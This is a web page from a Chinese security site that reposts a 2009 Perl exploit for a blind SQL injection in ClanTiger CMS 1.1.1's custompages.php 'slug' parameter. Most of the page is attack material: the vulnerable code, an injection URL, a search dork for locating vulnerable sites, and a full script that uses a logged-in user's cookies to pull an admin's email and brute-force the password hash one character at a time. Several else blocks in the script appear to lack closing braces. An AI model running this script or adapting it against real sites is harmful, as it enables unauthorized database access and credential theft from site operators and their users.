首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ClanTiger <= 1.1.1 (slug) Blind SQL Injection Exploit
来源:y3nh4ck3r[at]gmail[dot]com 作者:y3hn4ck3r 发布时间:2009-04-20  
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**                        **
#**                   **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []  []   []      **
#   [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []   
#**                                             **
#**                     **
#**                          ¡VIVA SPAIN!...¡GANAREMOS EL MUNDIAL!...o.O                      **
#**       ¡PROUD TO BE SPANISH!                               **
#**                 **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|                 (custompage.php) BLIND SQL INJECTION                |
#|--------------------------------------------------------------------------------------------|
#|                               | CLAN TIGER CMS |            |
#|  CMS INFORMATION:        ----------------           |
#|                        |
#|-->WEB: http://www.clantiger.com                       |
#|-->DOWNLOAD: http://www.clantiger.com/download-clan-cms                     |
#|-->DEMO: http://www.demo.clantiger.com/            |
#|-->CATEGORY: CMS / Portals              |
#|-->DESCRIPTION: ClanTiger is a content management system specifically designed for gaiming  |
#|   clans...              |
#|                 |
#|  CMS VULNERABILITY:               |
#|                 |
#|-->TESTED ON: firefox 2.0.0.20 and IE 7.0.5730 (Default)          |
#|-->DORK: "Powered by ClanTiger"             |
#|-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT           |
#|-->AFFECT VERSION: LAST = 1.1.1 (1.1 too)            |
#|-->Discovered Bug date: 2009-04-12             |
#|-->Reported Bug date: 2009-04-12             |
#|-->Fixed bug date: Not fixed              |
#|-->Info patch (????): Not fixed             |  
#|-->Author: YEnH4ckEr               |
#|-->mail: y3nh4ck3r[at]gmail[dot]com             |
#|-->WEB/BLOG: N/A               |
#|-->COMMENT: A mi novia Marijose...hermano,cuñada, padres (y amigos xD) por su apoyo.        |
#----------------------------------------------------------------------------------------------
#
#-----------
#BUG FILE:
#-----------
#
#Path --> [HOME_PATH]/modules/custompages.php
#
#It contents:
#
# function main()
# {
#  
#  ...
#
#  $page = new CustomPage();
#  $page->slug = $_GET['slug'];
#  $page->getBy(array('slug'));
#  
#  if(!$page->id)
#  {
#   throw new cccException('The page you are looking for is currently    unavailable. You may need to STOP! Hammertime. If School Is Out, You    should try reloading this page.','Page not found');
#  }
#  
#  $tpl->define('title',$page->title);
#  $tpl->define('content',$page->content); // we allow HTML here, no safeoutput
#  
#  $this->pageDetails->setTitle($page->title);
#  $this->pageDetails->addKeyword($page->keywords);
#  $this->pageDetails->setDescription($page->description);
#  
#  $this->content = $tpl->publish();
#  $this->display();
# }
#
#------------
#CONDITIONS:
#------------
#
#**DB_PREFIX="" (Default)
#
# maybe: db, db_clan, ...
#
#**Exist a custompage
#
#**gpc_magic_quotes=off
#
#---------------------------------------
#PROOF OF CONCEPT (BLIND SQL INJECTION):
#---------------------------------------
#
#[HOME_PATH]/modules/custompages.php?slug=the_custom_page' [BLIND SQL INJECTION]
#
#---------
#EXAMPLE:
#---------
#
#[HOME_PATH]/modules/custompages.php?slug=the_custom_page'%20AND%20((SELECT%20length(username)%20from%20members%20WHERE%20id=1)=5)%20/*
#
#Result: admin's username has 5 characters (maybe = admin? :P)
#
#*******************************************************************
# ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)!
#*******************************************************************
#-------------------------------------------------------------------
#*******************************************************************
# GREETZ TO: JosS and all spanish Hack3Rs community!
#*******************************************************************
#
#-------------------EOF---------------------------------->>>ENJOY IT!
#
use LWP::UserAgent;
use HTML::TreeBuilder 2.96;
#Subroutines
sub lw
{
 my $SO = $^O;
 my $linux = "";
 if (index(lc($SO),"win")!=-1){
  $linux="0";
 }else{
  $linux="1";
 }  
 if($linux){
  system("clear");
 }
 else{
  system("cls");
  system ("title Clan Tiger CMS (module custompages.php) BLIND SQL Injection Exploit");
  system ("color 02");
 }
}
sub request {
 my $cookie="CCC_LANG=en;"." CCC_UID=".$_[0]."; CCC_CODE=".$_[1].";";
 my $userag = LWP::UserAgent->new;
 $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)');
 my $request = HTTP::Request -> new(GET => $_[2]);
 $request->header(cookie => $cookie);
 my $outcode= $userag->request($request)->as_string;
 return $outcode;
}
sub helper {
 print "\n\t[**] Clan Tiger CMS - BLIND SQL Injection Exploit\n";
 print "\t[??] USAGE MODE: [??]\n";
 print "\t[**] perl $0 [HOST] [PATH] [uid] [code] [slug] [id] [DB_PREFIX]\n";
 print "\t[**] [HOST]: Web attacked.\n";
 print "\t[**] [PATH]: Home Path.\n";
 print "\t[**] [uid]: The CCC_UID cookie.\n";
 print "\t[**] [code]: The CCC_CODE cookie.\n";
 print "\t[**] [slug]: Title custompage.\n";
 print "\t[**] [id]: Exploiting id user. Default: 1 (**optional)\n";
 print "\t[**] [DB_PREFIX]: Global var needed. Default: null (**optional)\n";
 print "\t[**] Example: perl $0 www.example.es Clan-tiger-111 f717716... \n";
 print "\t[**] ...2e1a50db06c0f2fe8804885ac2c01390 namecustompage 1 \"\"\n";
}
sub mail{
$output=&request($_[0],$_[1],$_[2]);
 my $root = HTML::TreeBuilder->new_from_content($output);
# source file
$email= $root->look_down('_tag','td','style','width: 70%');
print "\t-----------------------------------------------------------------\n";
print "\tMail captured!.Getting password hash. Wait for a moment...\n";
print "\t-----------------------------------------------------------------\n";
return $email -> as_text();
$root->delete();
}
sub password {
#Second password...
$j=1;
 $i=48;
 while(($j<=32) && ($i<=126)){
  my $finalrequest=$_[4]."'+AND+ascii(substring((SELECT+password+FROM+".$_[0]."members+WHERE+id=".$_[1]."),".$j.",1))=".$i."+/*";
  $output=&request($_[2],$_[3],$finalrequest);
  if ( $output =~ (/<title>/.$custompage))
  {
   $pass=$pass.chr($i);
   $j++;
   $i=47;
  }
 if($i==57)
 {
  $i=96;
 }
#new char
 $i++;
 }
#Error
 if(($i>127) || ($j>32)){
  if(!$pass){
   print "\t-----------------------------------------------------------------\n";
   print("\tEXPLOIT FAILED!\n");
   print("\tFatal error: Datas doesn't find!\n");
   print "\t-----------------------------------------------------------------\n";
   exit(1);
  }
 }
return $pass;
}
#Main
&lw;
 print "\t\t#########################################################\n\n";
 print "\t\t#########################################################\n\n";
 print "\t\t##     Clan Tiger CMS - BLIND SQL Injection Exploit    ##\n\n";
 print "\t\t##    ++Conditions: Need a register user,a custompage  ##\n\n";
 print "\t\t##               and DB_PREFIX (default:null)          ##\n\n";
 print "\t\t##                    Author: Y3nh4ck3r                ##\n\n";
 print "\t\t##            Contact:y3nh4ck3r[at]gmail[dot]com       ##\n\n";
 print "\t\t##                    Proud to be Spanish!             ##\n\n";
 print "\t\t#########################################################\n\n";
 print "\t\t#########################################################\n\n";
#Init variables
 my $host=$ARGV[0];
 my $path=$ARGV[1];
 my $uid=$ARGV[2];
 my $code=$ARGV[3];
 my $custompage=$ARGV[4];
#Build the uri
 my $finalhost="http://".$host."/".$path."/index.php?module=custompages&slug=";
 $finalhost=$finalhost.$custompage;
#Check all variables needed
$numArgs = $#ARGV + 1;
 if($numArgs<=4)
 {
  &helper;
  exit(1); 
 }
#Id-user is optional.Default:1
 if(!$ARGV[5]){
  $idhack="1"; 
 }else{
  $idhack=$ARGV[5]; 
 }
 if(!$ARGV[6]){
  $db_prefix=""; 
 }else{
  $db_prefix=$ARGV[6]; 
 }
#Testing
my $finalrequest = $finalhost;
$output=&request($uid,$code,$finalrequest);
if ( $output =~ /<div class="title">Access denied<\/div>/)
{
 print "\t-----------------------------------------------------------------\n";
 print "\tYour credentials are not correct! This exploits need login.\n";
 print "\tOptions: [your-id-user],[your-password] incorrect.\n";
 print "\tExploit failed! No luck!\n";
 print "\t-----------------------------------------------------------------\n";
    exit(1);
}
if ( $output =~ /<div class="title">Page not found<\/div>/)
{
 print "\t-----------------------------------------------------------------\n";
 print "\tCustom page doesn't exist! Maybe no there on this server!\n";
 print "\tOption: [slug-get-var] incorrect.\n";
 print "\tExploit failed! No luck!\n";
 print "\t-----------------------------------------------------------------\n";
 exit(1);
}
if ( $output =~ (/<title>/.$custompage))
{
 print "\t-----------------------------------------------------------------\n";
 print "\tThis Web could be vulnerable!\n";
 print "\tThe custompage exists!\n";
 print "\tTesting Blind SQL Injection...\n";
 print "\t-----------------------------------------------------------------\n";
}else{
 print "\t-----------------------------------------------------------------\n";
 print "\tCustompage doesn't exist!\n";
 print "\tEXPLOIT FAILED!\n";
 print "\t-----------------------------------------------------------------\n";
exit(1);

#Test blind sql injection
my $finalrequest=$finalhost."'+AND+1=1+/*";
$output=&request($uid,$code,$finalrequest);
if ( $output =~ (/<title>/.$custompage))
{   
 print "\t-----------------------------------------------------------------\n";
 print "\tThis Web is really vulnerable!\n";
 print "\tTested Blind SQL Injection.\n";  
 print "\tChecking id user and DB_PREFIX null...\n";
 print "\t-----------------------------------------------------------------\n";
}else{
 print "\t-----------------------------------------------------------------\n";
 print "\tThis Web is not vulnerable (Maybe patched)!\n";
 print "\tEXPLOIT FAILED!\n";
 print "\t-----------------------------------------------------------------\n";
exit(1);

#Test if user exists and DB_PREFIX
my $finalrequest=$finalhost."'+AND+(SELECT+COUNT(*)+from+".$db_prefix."members+WHERE+id=".$idhack.")+/*";
$output=&request($uid,$code,$finalrequest);
if ( $output =~ (/<title>/.$custompage))
{   
 print "\t-----------------------------------------------------------------\n";
 print "\tOK...The user exists and DB_PREFIX is '".$db_prefix."'!\n";  
 print "\tStarting exploit...\n";
 print "\t-----------------------------------------------------------------\n";
 print "\tWait several minutes...\n";
 print "\t-----------------------------------------------------------------\n";
}else{
 print "\t-----------------------------------------------------------------\n";
 print "\tUser doesn't exists or DB_PREFIX not '".$db_prefix."'\n";  
 print "\tEXPLOIT FAILED!\n";
 print "\t-----------------------------------------------------------------\n";
exit(1); } 
#OK, now we get the mail user from web
#i got it from blind sql but this method is faster and reduce time of injection
#First email...
my $hostmail="http://".$host."/".$path."/index.php?module=profiles&action=view&id=".$idhack;
$mail=&mail($uid,$code,$hostmail);
$passhash=&password($db_prefix,$idhack,$uid,$code,$finalhost);
print "\n\t\t*************************************************\n";
print "\t\t****  EXPLOIT EXECUTED (CREDENTIALS STEALER) ****\n";
print "\t\t*************************************************\n\n";
print "\t\tUser-id:".$idhack."\n";
print "\t\tUser-email:".$mail."\n";
print "\t\tUser-password(hash):".$passhash."\n\n";
print "\n\t\t----------------------FINISH!--------------------\n\n";
print "\t\t---------------Thanks to: y3hn4ck3r--------------\n\n";
print "\t\t------------------------EOF----------------------\n\n";
exit(1);
#Ok...all job done
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·cTorrent/DTorrent (.Torrent Fi
·Linux Kernel 2.6 UDEV Local Pr
·XRDP <= 0.4.1 Remote Buffer Ov
·DNS Tools PHP Digger remote co
·MS Internet Explorer EMBED Mem
·Microsoft GDI Plugin .png Infi
·1by1 1.67 (.m3u File) Local St
·Microsoft Media Player (quartz
·Groovy Media Player 1.1.0 (.m3
·The Miniweb webserver suffers
·Pligg 9.9.0 (editlink.php id)
·Apache Geronimo Application Se
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved